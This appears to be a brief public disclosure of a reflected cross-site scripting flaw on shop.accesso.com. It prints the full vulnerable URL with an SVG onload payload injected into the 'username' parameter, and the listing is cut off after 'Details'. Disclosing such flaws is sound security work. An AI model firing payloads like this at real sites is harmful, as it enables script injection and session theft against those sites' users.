shop.accesso.com XSS vulnerability

Vulnerable URL: https://shop.accesso.com/affiliate/columbuszoo/template/design.php?username=ohio1=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E=1000=beco=https://shop.accesso.com/clients/columbuszoo/affiliate?m=1254ℑ=https://shop.accesso.com/affiliate/columbuszoo/template/images/ Details: Description|...